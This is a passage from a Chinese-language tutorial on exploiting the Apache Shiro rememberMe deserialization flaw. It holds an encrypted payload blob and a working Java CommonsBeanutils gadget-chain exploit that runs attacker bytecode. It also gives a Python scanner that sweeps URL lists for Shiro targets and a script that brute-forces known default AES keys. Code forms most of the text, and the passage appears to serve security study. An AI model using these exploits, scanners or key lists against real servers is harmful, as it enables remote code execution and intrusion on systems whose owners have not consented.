XjG6qw89HN3EH0rxd1rwNmzjnMO/RIINsfcDTJbu663uqo3ZLKUi7dcfZnnElIPRYnnskXNGDx21uwshUQS2QiIrI9V+VugrGeAnhnVk4Y9XoY7813nz05bjgZTaNKK4/NxWYvWOhv6n6hsFmmlXqH7XUC+TTmyXu/R8n5FVjwjzCI2hGygBm+EXfkYjSoZbA75/FmiuwRex3TTY73KAP4v016isN1byyaUoSV01p8qSUxUMwbrl+OZ+wTH7Q0VlWHmxiheP9xxOW2w6oy9UFhR+dYM1pBG4nlkpyGWNh0FEfci62fypgRgKfUWsBa6yZL+vjX8j2KedpNP8f3jHKCpa38UK7ZcpHxsQQt7cQZwAub5goypWeJ7qMM2x1zwvT+V7z2X1FbxD4nlbGu1R2BEQNQVEkaOVlxWukdavdOtfqM8kGXOdak37AoKLMNFXLD6sEGvgTxXz337IK0bptBU1QUUJJaIDEKDJWJhZUN0UgAFkgRoZVMOLrTmkSeO1sHjgQ9LdLMdW6/53l2HKJ4o50vg3kwYZnalp9oQWa9aJamJ7WW8fUnMD392YPB26gesULzLZUmMKoCth1WL5ROf4IaP/R79fH3ooLxzis54mqlfEvVaEpGFoG4R+ueTyYUsxZt03jYbJi+Bpwab0HdSfL4YqUyk4QiE2CS970sLRccvscods1Ek+Bmk/yq6Ub3lclIjPZt9qzVZi9m+9FMXQtQk+js93aNlzUj9Op+jJ5dJNYXcApn9JHnI3VrMhHprTarQ36c47aLYbSOflfcHEbzc

放入到Remember Me字段进行反序列化

然后进行调试

可以看到断到了DefaultSerializer类的deserialize方法上

接着就是链子,前面CC链讲得差不多了这里没什么讲得,可以看到最终弹出了计算器,如果没有弹,那就看看服务器的日志看看调用链

攻击CB链

接着我们将CC链移出只打CB链,这是因为一般的shiro项目都不自带Common-Collection这个组件,而CommonBeanUtil是shiro自带的组件

首先我们在构造payload的使用要使用与服务端一样的CB组件版本,Shiro 中自带的 commons-beanutils 是 1.8.3 版本,如果本地构造payload的时候使用地其他版本会爆 serialVersionUID 不同的错误

接着我们使用构造好的payload去攻击发现服务端报错

意思是org.apache.commons.collections.comparators.ComparableComparator这个类找不到,而这个类我们可以知道是在CC链里面的,我们打的CB链为什么会出现这个问题呢

这是因为这个BeanComparator导入了ComparableComparator

用做默认的Comparator,在构造函数里面如果第二个参数为null的话

所以这里我们只要在构造BeanComparator的时候将第二个参数传入一个不是CC链里面的Comparator的其他Comparator就行了

也就是说我们需要一个Comparator类来替换ComparableComparator

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口 Java、shiro 或 commons-beanutils 自带,且兼容性强

最终我们找到了在String类下的一个私有类CaseInsensitiveComparator,可以通过String.CASE_INSENSITIVE_ORDER获取,这个类继承了Comparator接口以及Serializable接口,并且在String类下完全符合我们要求

最终构造exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1_shiro {
public static void main(String[] args) throws Exception {
TemplatesImpl template = new TemplatesImpl();
byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
setField(template, "_name", "pysnow");
setField(template, "_bytecodes", new byte[][]{codes});
setField(template, "_tfactory", new TransformerFactoryImpl());

final BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");
//这里修改成字符串1

setField(beanComparator, "property", "outputProperties");
setField(priorityQueue, "queue", new Object[]{template, template});

// serialize(priorityQueue);
unserialize("ser.bin");

}

public static void setField(Object object, String name, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(object, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

最终成功弹出计算器

漏洞探测

探测组件

判断是否有shiro框架可以在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架,可以进一步测试。

具体可以使用一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import sys,re
import threadpool
#from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings()


def exp(line):
header={
'User-agent' : 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0;',
'Cookie':'a=1;rememberMe=1'

}

check_one="rememberMe" #场景1
check_two="deleteMe" #场景2

isExist = False

with open('ScanResult.txt',"a") as f:
if 'http' not in line:
line = 'http://'+line
try:
x = requests.head(line,headers=header,allow_redirects=False,verify=False,timeout=6) #场景4
y = str(x.headers)
z = checkRe(y)

a = requests.head(line,headers=header,verify=False,timeout=6) #场景5
b = str(a.headers)
c = checkRe(b)

if check_one in y or z or check_two in y or c:
isExist = True

if isExist:
print("[+ "+"!!! 存在shiro: "+"状态码: "+str(x.status_code)+" url: "+line)
f.write(line+"\n")
else:
print("[- "+"不存在shiro "+"状态码: "+str(x.status_code)+" url: "+line)

except Exception as httperror:
print("[- "+"目标超时, 疑似不存活: "+" url: "+line)



def checkRe(target): #场景3

pattern = re.compile(u'^re(.*?)Me')
result = pattern.search(target)
if result:
return True
else:
return False

def multithreading(funcname, params=[], filename="ip.txt", pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")] + params

works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)

[pool.putRequest(req) for req in reqs]
pool.wait()

def main():
multithreading(exp, [], "url.txt", 10) # 默认15线程
print("全部check完毕,请查看当前目录下的shiro.txt")


if __name__ == "__main__":
main()
  • 1.发送带有rememberMe=1的cookie,返回http头是否存在rememberMe
  • 2.发送带有rememberMe=1的cookie,返回http头是否存在deleteMe
  • 3.发送带有rememberMe=1的cookie,返回http头是否存在匹配正则^re(.*?)Me的
  • 4.发送带有rememberMe=1的cookie,请求时脚本设置成跟随跳转后检测前两项
  • 5.发送带有rememberMe=1的cookie,请求时脚本设置成不跟随跳转检测前两项

探测密钥

在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,密钥为用户自己设置,脚本编写时需要考虑加密模式变化的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)